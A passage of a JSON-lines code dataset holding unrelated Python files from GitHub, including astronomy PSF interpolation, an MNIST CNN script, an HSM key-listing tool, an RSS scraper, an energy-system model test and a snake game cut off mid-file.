1250, 1650, 2120],\n grid_shape=[11,11]):\n \"\"\"\n Load up a FITS file that contains at least 1, or possibly a grid (list)\n of PSFs. These are stored and you can interpolate between them\n if necessary.\n \"\"\"\n self.img_scale = 0.10 # arcseconds per pixel\n \n # Fix wave_array to be a float\n wave_array = np.array(wave_array, dtype=float)\n wave_shape = psf.shape[0]\n\n if wave_shape != len(wave_array):\n print( 'Problem with PSF shape and wave_array shape' )\n \n # Reshape the array to get the X and Y positions\n psf = psf.reshape((wave_shape, grid_shape[0], grid_shape[1],\n psf.shape[2], psf.shape[3]))\n psf = np.swapaxes(psf, 1, 2)\n\n # scale array = lambda / 2D (Nyquist sampled)\n tel_diam = 2.235 # meters\n psf_scale = wave_array * (206264.8 * 1e-9) / (2.0 * tel_diam) # arcsec / pixel\n \n # Calculate the positions of all these PSFs. We assume that the\n # outermost PSFs are at the corners such that all observed stars\n # are internal to these corners.\n x_pos = np.array(np.mgrid[0:grid_shape[1]], dtype=float)\n y_pos = np.array(np.mgrid[0:grid_shape[0]], dtype=float)\n\n # Need to multiply by some of the array size properties.\n # Note that this assumes a pixel scale.\n fov = 10. # arcmin\n fov *= 60. # arcsec\n fov /= self.img_scale # pixels\n\n x_pos *= fov / x_pos[-1]\n y_pos *= fov / y_pos[-1]\n\n xx, yy = np.meshgrid(x_pos, y_pos)\n\n # Reshape back to a PSF list.\n # Reshape the array to get the X and Y positions\n n_psfs = psf.shape[1] * psf.shape[2]\n psf = psf.reshape((wave_shape, n_psfs,\n psf.shape[3], psf.shape[4]))\n xx = xx.reshape(n_psfs)\n yy = yy.reshape(n_psfs)\n \n self.psf = psf\n self.psf_x = xx # 2D array\n self.psf_y = yy # 2D array\n # self.psf_x = x_pos # 1D array\n # self.psf_y = y_pos # 1D array\n self.psf_wave = wave_array\n self.wave_shape = wave_shape\n self.grid_shape = grid_shape\n self.psf_scale = psf_scale\n\n self.interpolator = [None for ii in self.psf_wave]\n \n return\n\n @classmethod\n def from_file(cls, psf_file,\n wave_array=[487, 625, 770, 870, 1020, 1250, 1650, 2120],\n grid_shape=[11,11]):\n # 4D array with [wave, grid_idx, flux_x, flux_y]\n psf = pyfits.getdata(psf_file)\n\n return cls(psf, wave_array=wave_array, grid_shape=grid_shape)\n\n \n def get_local_psf(self, x, y, wave_idx, method='bilinear'):\n \"\"\"\n Return an interpolated PSF at the requested [x, y] location.\n Interpolation method is nearest neighbor ('neighbor', default) or\n bilinear interpolation ('bilinear').\n \"\"\"\n psf_x = self.psf_x\n psf_y = self.psf_y\n\n # We can't handle stars that are outside our PSF grid.\n # But fail gracefully with an exception. \n if (x < psf_x.min()) or (x > psf_x.max()):\n raise ValueError('x is outside the valid PSF grid region')\n if (y < psf_y.min()) or (y > psf_y.max()):\n raise ValueError('y is outside the valid PSF grid region')\n \n # Find the PSF\n if method == 'neighbor':\n pidx = np.argmin(np.hypot(psf_x - x, psf_y - y))\n \n psf_loc = self.psf[wave_idx, pidx]\n\n elif method == 'bilinear':\n \n # Distance of all PSFs to the star\n dr = np.hypot(psf_x - x, psf_y - y)\n\n # Find PSFs in each quadrant\n xlo_ylo = np.where((psf_x <= x) & (psf_y <= y))[0]\n xlo_yhi = np.where((psf_x <= x) & (psf_y > y))[0]\n xhi_ylo = np.where((psf_x > x) & (psf_y <= y))[0]\n xhi_yhi = np.where((psf_x > x) & (psf_y > y))[0]\n\n # Find the closest PSF in each quadrant\n idx_xlo_ylo = np.argmin(dr[xlo_ylo])\n idx_xlo_yhi = np.argmin(dr[xlo_yhi])\n idx_xhi_ylo = np.argmin(dr[xhi_ylo])\n idx_xhi_yhi = np.argmin(dr[xhi_yhi])\n\n # Select the image of the closest PSF in each quadrant\n psf_xlo_ylo = self.psf[wave_idx, xlo_ylo[idx_xlo_ylo]]\n psf_xlo_yhi = self.psf[wave_idx, xlo_yhi[idx_xlo_yhi]]\n psf_xhi_ylo = self.psf[wave_idx, xhi_ylo[idx_xhi_ylo]]\n psf_xhi_yhi = self.psf[wave_idx, xhi_yhi[idx_xhi_yhi]]\n\n # Select the x distance of the closest PSF in each quadrant\n dx_xlo_ylo = x - psf_x[xlo_ylo[idx_xlo_ylo]]\n dx_xlo_yhi = x - psf_x[xlo_yhi[idx_xlo_yhi]]\n dx_xhi_ylo = psf_x[xhi_ylo[idx_xhi_ylo]] - x\n dx_xhi_yhi = psf_x[xhi_yhi[idx_xhi_yhi]] - x\n\n # Select the y distance of the closest PSF in each quadrant\n dy_xlo_ylo = y - psf_y[xlo_ylo[idx_xlo_ylo]]\n dy_xlo_yhi = psf_y[xlo_yhi[idx_xlo_yhi]] - y\n dy_xhi_ylo = y - psf_y[xhi_ylo[idx_xhi_ylo]]\n dy_xhi_yhi = psf_y[xhi_yhi[idx_xhi_yhi]] - y\n \n # Calculate the \"sides\" of the four PSFs asterism\n dx_bottom = psf_x[xhi_ylo[idx_xhi_ylo]] - psf_x[xlo_ylo[idx_xlo_ylo]]\n dx_top = psf_x[xhi_yhi[idx_xhi_yhi]] - psf_x[xlo_yhi[idx_xlo_yhi]]\n dy_left = psf_y[xlo_yhi[idx_xlo_yhi]] - psf_y[xlo_ylo[idx_xlo_ylo]]\n dy_right = psf_y[xhi_yhi[idx_xhi_yhi]] - psf_y[xhi_ylo[idx_xhi_ylo]]\n\n # Calculate the weight of the four closest PSFs\n weight_xlo_ylo = (1 - (dx_xlo_ylo / dx_bottom)) * (1 - (dy_xlo_ylo / dy_left))\n weight_xlo_yhi = (1 - (dx_xlo_yhi / dx_top)) * (1 - (dy_xlo_yhi / dy_left))\n weight_xhi_ylo = (1 - (dx_xhi_ylo / dx_bottom)) * (1 - (dy_xhi_ylo / dy_right))\n weight_xhi_yhi = (1 - (dx_xhi_yhi / dx_top)) * (1 - (dy_xhi_yhi / dy_right))\n\n psf_loc = weight_xlo_ylo * psf_xlo_ylo + \\\n weight_xlo_yhi * psf_xlo_yhi + \\\n weight_xhi_ylo * psf_xhi_ylo + \\\n weight_xhi_yhi * psf_xhi_yhi\n\n else:\n # Nearest Neighbor:\n r = np.hypot(psf_x - x, psf_y - y)\n rdx = np.argmin(r)\n\n psf_loc = self.psf[wave_idx, psf_x[rdx], psf_y[rdx]]\n \n return psf_loc\n\n def get_local_psf_nn(self, x, y, wave_idx):\n \"\"\"\n Return an the nearest neighbor PSF at the requested [x, y] location.\n This works for requests beyond the grid boundaries, but leads to \n dsiscrete jumps.\n \"\"\"\n psf_x = self.psf_x\n psf_y = self.psf_y\n\n dx = x - psf_x\n dy = y - psf_y\n\n xidx = np.argmin(np.abs(dx))\n yidx = np.argmin(np.abs(dy))\n \n psf_loc = self.psf[wave_idx, yidx, xidx]\n \n return psf_loc\n \n def plot_psf_grid(self, wave_idx, psf_size=[50,50]):\n # Chop down the PSFs to the plotting region\n # and at the wavelength requested.\n psf_shape = self.psf.shape[-2:]\n psf_x_lo = int((psf_shape[1] / 2.0) - (psf_size[1] / 2.0))\n psf_y_lo = int((psf_shape[0] / 2.0) - (psf_size[0] / 2.0))\n psf_x_hi = psf_x_lo + psf_size[1]\n psf_y_hi = psf_y_lo + psf_size[0]\n\n psf = self.psf[wave_idx, :, :, psf_y_lo:psf_y_hi, psf_x_lo:psf_x_hi]\n psf_shape = psf.shape[-2:]\n grid_shape = psf.shape[0:2]\n\n img = np.zeros((psf_shape[0] * grid_shape[0],\n psf_shape[1] * grid_shape[1]), dtype=float)\n\n for xx in range(grid_shape[1]):\n for yy in range(grid_shape[0]):\n xlo = 0 + (xx * psf_shape[1])\n xhi = xlo + psf_shape[1]\n ylo = 0 + (yy * psf_shape[0])\n yhi = ylo + psf_shape[0]\n \n img[ylo:yhi, xlo:xhi] = psf[yy, xx, :, :]\n\n py.clf()\n py.imshow(img)\n\n return\n\n\n \n\n \n","repo_name":"jluastro/maosi","sub_path":"maosi/psf.py","file_name":"psf.py","file_ext":"py","file_size_in_byte":8450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20424008737","text":"import numpy as np\nimport numpy.linalg as la\nimport pandas as pd\nimport matplotlib as plt\ndef DataCleans(df,P5_only_on):\n\n df.loc[(df['DR']=='UDFA'),'DR']=8\n df.loc[(df['DP']=='UDFA'),'DP']=260\n df=df.replace('-',np.nan)\n Pow5=['Big 12','ACC','SEC','Pac-12','Big Ten']\n\n if P5_only_on==1:\n df=df[(df['Conf'].isin(Pow5))]\n\n\n\n\n return df\n\n\n\n\ndef pred(df, train,targ,predictor_year):\n dfstore=df\n df=df.dropna(subset=[targ])\n df=df.dropna(subset=train)\n\n seas=df.reset_index()\n targ_vals=seas[targ].to_frame()\n targ_vals=targ_vals.apply(pd.to_numeric, errors='coerce')\n\n xarg_vals=seas[train]\n col_o_1s=pd.DataFrame(index=np.arange(len(xarg_vals)),columns=['1cols'])\n col_o_1s.loc[:,:]=1\n\n xarg_vals['1col']=col_o_1s\n xarg_vals=xarg_vals.apply(pd.to_numeric, errors='coerce')\n xarg_vals=xarg_vals.to_numpy()\n\n w=np.dot(la.pinv(xarg_vals),targ_vals)\n\n #Now pull rookies \n rooks=dfstore\n rooks=rooks.loc[(rooks['Draft Year'].isin(predictor_year)) & (rooks['DR']!='UDFA')]\n rooksvals=rooks[train]\n rooksvals['1col']=col_o_1s\n \n rookpred=np.dot(rooksvals,w)\n output_data=['Player','Draft Year','School']\n name_store=rooks[output_data]\n predicted=pd.DataFrame(pd.np.column_stack([name_store,rookpred]))\n\n return predicted\n\n","repo_name":"william-milestone/FF_Analysis","sub_path":"functionsFFDataMan.py","file_name":"functionsFFDataMan.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1581443815","text":"import tkinter\nimport time #Header\n\n\nprint('HH:MM:SS') # Output\nprint('--------') # Output\n#time definition\n\nhour=int(0)\nminz=int(0)\nsec=int(5)\n\nwhile hour > -1:\n while minz > -1:\n while sec > 0:\n sec=sec-1\n time.sleep(1)\n sec1 = ('%02.f' % sec)\n min1 = ('%02.f' % minz)\n hour1 = ('%02.f' % hour)\n print ('\\r' + str(hour1) + \":\" + str(min1) + \":\" + str(sec1))\n minz=minz-1\n sec=60\n hour=hour-1\n minz=59\n\n\nprint('Session ended.')\n\n\n\n","repo_name":"maximillianus/python-scripts","sub_path":"python_tkinter/timer11.py","file_name":"timer11.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35936523200","text":"import argparse\nfrom pathlib import Path\nfrom pyhsm.hsmclient import HsmClient\n\n\ndef __main():\n\n parser = argparse.ArgumentParser(\"listkeys\", description=\"List keys on partition.\")\n parser.add_argument(\"-p11\", dest=\"module\", required=True,\n help=\"Full path to HSM's PKCS#11 shared library.\")\n parser.add_argument(\"-slot\", dest=\"slot\", type=int, required=True, help=\"HSM slot number.\")\n parser.add_argument(\"-pin\", dest=\"pin\", type=str, required=True, help=\"HSM slot partition or pin.\")\n parser.add_argument(\"-al\", \"--show-all\", dest=\"showAll\", action=\"store_true\",\n help=\"Display attributes long version.\")\n parser.set_defaults(func=__menu_handler)\n args = parser.parse_args()\n args.func(args)\n\n\ndef __menu_handler(args):\n\n if not Path(args.module).is_file():\n print(\"(-p11) path does not exist\")\n exit()\n\n with HsmClient(slot=args.slot, pin=args.pin, pkcs11_lib=args.module) as c:\n serial_number = c.get_slot_info()[0].serialNumber\n print(\"\")\n print(\"slot number: \" + str(args.slot))\n print(\"serial number: \" + serial_number)\n\n # print header and print to console\n if not args.showAll:\n print(\"Handle\".ljust(8) + \"Label\".ljust(30) + \"Key Type\".ljust(10) + \"Class\".ljust(15)\n + \"Attributes\".ljust(10))\n print(\"------- ----------------------------- --------- -------------- -------------\")\n obj_list = c.get_objects(fast_load=True)\n else:\n obj_list = c.get_objects(fast_load=False)\n\n # loop the objects and print to console\n for o in obj_list:\n __print_object(o, args.showAll)\n\n\ndef __print_object(obj, detail_level):\n if detail_level:\n print(\"----------------------------------------\")\n print(obj.to_string())\n else:\n attribs = \"e\" if obj.encrypt else \"-\"\n attribs += \"d\" if obj.decrypt else \"-\"\n attribs += \"w\" if obj.wrap else \"-\"\n attribs += \"u\" if obj.unwrap else \"-\"\n attribs += \"s\" if obj.sign else \"-\"\n attribs += \"v\" if obj.verify else \"-\"\n attribs += \"X\" if obj.extractable else \"-\"\n attribs += \"M\" if obj.modifiable else \"-\"\n attribs += \"T\" if obj.token else \"-\"\n attribs += \"S\" if obj.sensitive else \"-\"\n attribs += \"R\" if obj.derive else \"-\"\n attribs += \"P\" if obj.private else \"-\"\n print(str(obj.handle).ljust(8) + obj.label.ljust(30)[:40] + str(obj.keyType)[11:].ljust(10)\n + str(obj.class_)[14:].ljust(15) + attribs)\n\n\nif __name__ == '__main__':\n __main()\n","repo_name":"bentonstark/py-hsm","sub_path":"examples/listkeys.py","file_name":"listkeys.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"37"} +{"seq_id":"6250124518","text":"import RPi.GPIO as GPIO\n\ndac = [26, 19, 13, 6, 5, 11, 9, 10]\nleds = [21, 20, 16, 12, 7, 8, 25, 24]\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(dac, GPIO.OUT)\nGPIO.setup(leds, GPIO.OUT)\nGPIO.output(leds, 0)\nGPIO.output(dac, 0)\nGPIO.cleanup()","repo_name":"Vladislave0-0/MIPT-engineering-training-courses","sub_path":"1#I-O Ports/turn_out.py","file_name":"turn_out.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"948575584","text":"\"\"\"\nAparna Krishnan and Suparna Srinivasan\nCS 5330 Computer Vision\nTask 1 - Testing\n\n\"\"\"\nimport torch\nimport torchvision\nimport sys\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom sklearn.neighbors import KNeighborsClassifier\n\n# Network Class\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(1, 10, kernel_size=5)\n self.conv2 = nn.Conv2d(10, 20, kernel_size=5)\n self.conv2_drop = nn.Dropout2d()\n self.fc1 = nn.Linear(320, 50)\n self.fc2 = nn.Linear(50, 10)\n\n def forward(self, x):\n x = F.relu(F.max_pool2d(self.conv1(x), 2))\n x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))\n x = x.view(-1, 320)\n x = F.relu(self.fc1(x))\n x = F.dropout(x, training=self.training)\n x = self.fc2(x)\n return F.log_softmax(x)\n\n\n# class Submodel(Net):\n\n# def __init__(self, *args, **kwargs):\n# super().__init__(*args, **kwargs)\n\n# def forward( self, x ):\n# x = F.relu( F.max_pool2d( self.conv1(x), 2 ) )\n# x = F.relu( F.max_pool2d( self.conv2_drop( self.conv2(x)), 2 ) )\n# return x\n\n# Test \ndef test(network, test_loader, test_losses):\n network.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n output = network(data)\n test_loss += F.nll_loss(output, target, size_average=False).item()\n pred = output.data.max(1, keepdim=True)[1]\n correct += pred.eq(target.data.view_as(pred)).sum()\n test_loss /= len(test_loader.dataset)\n test_losses.append(test_loss)\n print('\\nTest set: Avg. loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n \n# Train MNIST Data \ndef main(argv):\n\n\n n_epochs = 3\n batch_size_train = 64\n batch_size_test = 1000\n learning_rate = 0.01\n momentum = 0.5\n log_interval = 10\n random_seed = 40\n torch.backends.cudnn.enabled = False\n torch.manual_seed(random_seed)\n\n train_loader = torch.utils.data.DataLoader(\n torchvision.datasets.MNIST('./files', train=True, download=True,\n transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ])),\n batch_size=batch_size_train, shuffle=True)\n \n test_loader = torch.utils.data.DataLoader(\n torchvision.datasets.MNIST('./files', train=False, download=True,\n transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ])),\n batch_size=batch_size_test, shuffle=True)\n\n\n data = torchvision.datasets.ImageFolder('./data', \n transform=torchvision.transforms.Compose([\n torchvision.transforms.Resize([28,28]),\n torchvision.transforms.RandomInvert(p=1),\n torchvision.transforms.Grayscale(num_output_channels=1),\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ]))\n\n train_loader2 = torch.utils.data.DataLoader(data,\n batch_size=batch_size_train, shuffle=True)\n \n examples = enumerate(train_loader)\n batch_idx,(example_data,example_targets) = next(examples)\n\n\n examples2 = enumerate(train_loader2)\n batch_idx,(example_data2,example_targets2) = next(examples2)\n example_targets2 = np.reshape(example_targets , (64,1))\n \n example_data[0][0].shape\n\n fig = plt.figure(1)\n \n for i in range(6):\n plt.subplot(2,3,i+1)\n plt.tight_layout()\n plt.imshow(example_data[i][0], cmap='gray', interpolation='none')\n plt.title(\"Ground Truth: {}\".format(example_targets[i]))\n plt.xticks([])\n plt.yticks([])\n plt.show()\n fig\n network = Net()\n optimizer = optim.SGD(network.parameters(), lr=learning_rate,\n momentum=momentum)\n\n\n # sub_network = Submodel()\n # sub_optimizer = optim.SGD(sub_network.parameters(), lr=learning_rate,\n # momentum=momentum)\n\n train_losses = []\n train_counter = []\n test_losses = []\n test_counter = [i*len(train_loader.dataset) for i in range(n_epochs + 1)]\n\n # test(network, test_loader, test_losses)\n for epoch in range(1, n_epochs + 1):\n\n test(network, test_loader, test_losses)\n\n \n\n with torch.no_grad():\n output = network(example_data)\n\n m = nn.Dropout(p=0.2)\n input = torch.randn(20,16)\n output = m(input)\n \n\n kernels = network.conv2.weight.cpu().detach().clone()\n kernels_1 = network.conv1.weight.cpu().detach().numpy()\n\n\n kernels = kernels - kernels.min()\n kernels = kernels / kernels.max()\n plt.figure(figsize=(5,6))\n for i, filter in enumerate(network.conv1.weight):\n plt.subplot(5, 5, i+1) \n plt.imshow(filter[0, :, :].detach(), cmap='viridis')\n plt.axis('off')\n plt.savefig('filter.png')\n plt.xticks=[]\n plt.yticks=[]\n \n plt.show()\n # sub_network = Net()\n # sub_optimizer = optim.SGD(sub_network.parameters(), lr=learning_rate,\n # momentum=momentum)\n # sub_network_state_dict = torch.load('model.pth')\n # sub_network.load_state_dict(sub_network_state_dict)\n\n # sub_optimizer_state_dict = torch.load('optimizer.pth')\n # sub_optimizer.load_state_dict(sub_optimizer_state_dict)\n # sub_network.eval()\n\n # with torch.no_grad():\n # sub_output = sub_network(example_data2)\n\n fig = plt.figure()\n # for i in range(6):\n # plt.subplot(2,3,i+1)\n # plt.tight_layout()\n # plt.imshow(example_data2[i][0], cmap='gray', interpolation='none')\n # plt.title(\"Prediction: {}\".format(\n # sub_output.data.max(1, keepdim=True)[1][i].item()))\n # plt.xticks([])\n # plt.yticks([])\n # plt.show()\n # fig\n\n\n \n return\n\nif __name__ == \"__main__\":\n main(sys.argv)","repo_name":"aparna-k799/cs5330-proj5","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"565269345","text":"import feedparser\nimport csv\n\n# ホットエントリRSSの取得、解析\n# 「総合」 RSS_URL = \"http://b.hatena.ne.jp/hotentry.rss\"\nit = \"http://b.hatena.ne.jp/hotentry/it.rss\"\nmanabi = \"http://b.hatena.ne.jp/hotentry/knowledge.rss\"\nkurashi = \"http://b.hatena.ne.jp/hotentry/life.rss\"\nyononaka = \"http://b.hatena.ne.jp/hotentry/social.rss\"\n\n# レスポンス\nrss = [it, manabi, kurashi, yononaka]\n\nhotentry = []\n\n# はてブ数、タイトル、リンクを格納\nfor n in rss:\n hatebu_dic = feedparser.parse(n)\n\n for x in hatebu_dic.entries:\n hbm_count = x.hatena_bookmarkcount\n title = x.title\n link = x.link\n\n hotentry.append((hbm_count, title, link ))\n\n# はてブ数でソート\nhotentry = sorted(hotentry, key=lambda x:int(x[0]), reverse=True)\n\n# 確認用に表示\nfor x in hotentry:\n print('{} || {} \\n {}'.format(x[0], x[1], x[2]))\n\n# csvに出力\nf = open('hatebu_rss.csv', 'w', encoding='CP932', errors='ignore')\nwriter = csv.writer(f, lineterminator='\\n')\n\nfor x in hotentry:\n writer.writerow(x)\n\nf.close()\n","repo_name":"ryuichi1208/scraping-py","sub_path":"util/hatebu.py","file_name":"hatebu.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"ja","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"25093942950","text":"import requests\n\nurl = \"http://localhost:8041/smartapp-api/wrapper/diag-codes/search?term=10\"\n\npayload = {}\nheaders = {\n 'Origin': 'http://localhost:3000',\n 'Cookie': 'SESSION=NzIwYjA2YTktY2ZhYy00OTAzLWE3NzktNGJjY2U3NjQ1NDRh'\n}\n\nresponse = requests.request(\"GET\", url, headers=headers, data=payload)\n\nprint(response.text)\n","repo_name":"r621549/prior-authorization-automation","sub_path":"process-pa/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33090185940","text":"import os,sys\nsys.path.append('/home/gate001/wa/Elec_Solution')\nPATH = os.environ\nfor key in PATH:\n print (key, PATH[key])\n\nimport discover\nimport device\nimport time\nimport context\nfrom context import logger\nimport reporter\nimport json\n\n\ndef main():\n # __init()\n print(\"start...\")\n config_path = os.path.abspath(os.path.join(os.path.dirname(__file__), 'config.json'))\n with open(config_path, 'r') as f:\n conf = json.load(f)\n logger.info(conf)\n\n \n # discovery.run()\n dataReporter = reporter.DataReporter(conf['reportUrl'])\n ctx = context.Context(conf, dataReporter)\n context.setContext(ctx)\n\n global discovery\n discovery = discover.Discover('test')\n devInfos = discovery.discover()\n global manager\n manager = device.DeviceManager()\n manager.addDevices(devInfos)\n global exit\n exit = False\n\n loop_index = 0\n while not exit:\n time.sleep(5)\n manager.monitorProcs(devInfos)\n loop_index = loop_index + 1\n if loop_index > 60:\n loop_index = 0\n devInfos = refresh(manager, devInfos)\n\n\ndef refresh(manager, devInfos):\n devInfos_dynamic = discovery.discover()\n #if len(devInfos_dynamic) != len(devInfos):\n ###find difference\n for devi in devInfos_dynamic:\n is_new = 1\n for devi_o in devInfos:\n if devi_o.urn == devi.urn: # and devi_o.xaddr == devi.xaddr:\n is_new = 0\n break\n if is_new == 1:\n manager.addDevice(devi)\n return devInfos_dynamic\n\n\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n discovery.stop()\n manager.stop()\n exit = True\n","repo_name":"zhoujohn/Elec_Solution2","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20977169645","text":"def rotateString(s, goal):\n for _ in range(len(s)):\n front=s[0]\n left=s[1:]\n s=left+front\n if s==goal:\n return True\n return False\n\n'''\nTestcase 3. \nInput: s = \"abcde\", goal = \"abcde\"\nOutput: True\n'''\nprint(rotateString(\"abcde\", \"abcde\"))","repo_name":"younggam/OSSP_week4","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"562778477","text":"import FINE as fn\nimport numpy as np\nimport pytest\nimport pandas as pd\nimport math\n\n\ndef test_pathwayBudget():\n # Create an energy system model instance\n esM = fn.EnergySystemModel(\n locations={\"PerfectLand\"},\n commodities={\"electricity\", \"methane\", \"CO2\"},\n commodityUnitsDict={\n \"electricity\": r\"kW$_{el}$\",\n \"methane\": r\"kW$_{CH_{4},LHV}$\",\n \"CO2\": r\"t$_{CO_2}$/h\",\n },\n numberOfTimeSteps=2,\n hoursPerTimeStep=4380,\n costUnit=\"1 Euro\",\n numberOfInvestmentPeriods=5,\n investmentPeriodInterval=5,\n startYear=2020,\n lengthUnit=\"km\",\n verboseLogLevel=2,\n balanceLimit=None,\n pathwayBalanceLimit=pd.DataFrame(\n index=[\"CO2 limit\"],\n columns=[\"PerfectLand\", \"lowerBound\"],\n data=[[-1000, True]],\n ),\n )\n\n # 1.1. pv source\n PVoperationRateMax = pd.DataFrame(columns=[\"PerfectLand\"], data=[1, 1])\n\n esM.add(\n fn.Source(\n esM=esM,\n name=\"PV\",\n commodity=\"electricity\",\n hasCapacityVariable=True,\n operationRateMax=PVoperationRateMax,\n investPerCapacity=1000000, # dummy values to make gas plant cheaper\n interestRate=0.02,\n opexPerOperation=1000000, # dummy values to make gas plant cheaper\n economicLifetime=25,\n )\n )\n\n # 1.2. sink\n demand = {}\n demand[2020] = pd.DataFrame(\n columns=[\"PerfectLand\"],\n data=[\n 50000,\n 100000,\n ],\n )\n demand[2025] = pd.DataFrame(\n columns=[\"PerfectLand\"],\n data=[\n 100000,\n 50000,\n ],\n )\n demand[2030] = demand[2025] * 1\n demand[2035] = demand[2030] * 1.5\n demand[2040] = demand[2030] * 2\n\n esM.add(\n fn.Sink(\n esM=esM,\n name=\"EDemand\",\n commodity=\"electricity\",\n hasCapacityVariable=False,\n operationRateFix=demand,\n )\n )\n\n # 1.3 conversion technologies with stock and emissions\n esM.add(\n fn.Conversion(\n esM=esM,\n name=\"CCGT plants (methane)\",\n physicalUnit=r\"kW$_{CH_{4},LHV}$\",\n commodityConversionFactors={\n \"electricity\": 1,\n \"methane\": -1 / 0.625,\n \"CO2\": 201 * 1e-6 / 0.625,\n },\n hasCapacityVariable=True,\n investPerCapacity=0,\n opexPerCapacity=0,\n interestRate=0.08,\n economicLifetime=35,\n )\n )\n # methane source\n esM.add(\n fn.Source(\n esM=esM,\n name=\"Natural gas purchase\",\n commodity=\"methane\",\n hasCapacityVariable=True,\n commodityCost=0.1,\n )\n )\n # CO2 sink\n esM.add(\n fn.Sink(\n esM=esM,\n name=\"CO2 for balance\",\n commodity=\"CO2\",\n hasCapacityVariable=False,\n pathwayBalanceLimitID=\"CO2 limit\",\n )\n )\n # 2. optimize\n esM.optimize(solver=\"glpk\")\n\n # 3. test\n # Without a budget limit for CO2, the cost optimal system would only built\n # gas plants, as its for free and PV is expensive.\n # gas plant capacity in 2020: 22.83\n # CO2 operation in 2020: 48.24\n # CO2 operation in 2025: 48.239999999999995\n # CO2 operation in 2030: 48.239999999999995\n # CO2 operation in 2035: 72.36\n # CO2 operation in 2040: 96.47999999999999\n # CO2 over the pathway: (15*48.24)+(5*72.36)+(5*96.48) = 1567.8\n\n # with limitation it must be below 1000\n co2_emissions = (\n esM.getOptimizationSummary(\"SourceSinkModel\", ip=2020)\n + esM.getOptimizationSummary(\"SourceSinkModel\", ip=2025)\n + esM.getOptimizationSummary(\"SourceSinkModel\", ip=2030)\n + esM.getOptimizationSummary(\"SourceSinkModel\", ip=2035)\n + esM.getOptimizationSummary(\"SourceSinkModel\", ip=2040)\n ).loc[\"CO2 for balance\", \"operation\", \"[t$_{CO_2}$/h*h]\"][\"PerfectLand\"]\n assert co2_emissions * 5 < 1000\n\n # With limitation the expensive PV must be installed\n installed_cap_PV_2045 = esM.getOptimizationSummary(\"SourceSinkModel\", ip=2040).loc[\n \"PV\", \"capacity\", \"[kW$_{el}$]\"\n ][\"PerfectLand\"]\n np.testing.assert_almost_equal(installed_cap_PV_2045, 45.662100456621)\n","repo_name":"FZJ-IEK3-VSA/FINE","sub_path":"test/perfectForesight/test_perfectForesight_budget.py","file_name":"test_perfectForesight_budget.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"37"} +{"seq_id":"10791121499","text":"#!/usr/bin/python\n\nimport curses.wrapper\nfrom time import sleep\nfrom random import randint\n\nclass Food:\n\tdef __init__(self):\n\t\tself.eaten = False\n\t\tself.char = '*'\n\t\tself.x\t = randint(1,80)\n\t\tself.y\t = randint(2,25)\n\t\tself.score = randint(1,3)\n\t\tself.extend= randint(1,3)\n\nclass Snake:\n\tdef __init__(self):\n\t\tself.face = 'E' # N W S E\n\t\tself.score= 0\n\t\tself.y = 10\n\t\tself.x = 10\n\t\tself.char = 'o'\n\t\tself.body = []\n\t\tself.body.append( (self.y,self.x) )\n\t\tself.extend = 0\n\tdef head(self):\n\t\tself.body.append( (self.y,self.x) )\n\t\tself.extend -= 1\n\t\treturn self.body[0]\n\tdef tail(self):\n\t\tself.body.append( (self.y,self.x) )\n\t\treturn self.body.pop(0)\n\ndef run(stdscr):\n\tsnake = Snake()\n\ttry:\n\t\tstdscr.hline(1,1,0,80)\n\t\tstdscr.hline(26,1,0,80)\n\t\tstdscr.vline(2,0,0,24)\n\t\tstdscr.vline(2,81,0,24)\n\texcept curses.error:\n\t\tstdscr.erase()\n\t\tstdscr.addstr(0,0,\"Sorry your terminal is to small\\n\" +\n\t\t\t\t \"Please resize it and try again\\n\" +\n\t\t\t\t \"Press any key to exit\")\n\t\tstdscr.refresh()\n\t\tstdscr.getch()\n\t\treturn\n\tstdscr.move(0,0)\n\tstdscr.clrtoeol()\n\tstdscr.addstr(0,0,'Score: ' + str(snake.score))\n\tstdscr.nodelay(1)\n\tfood = 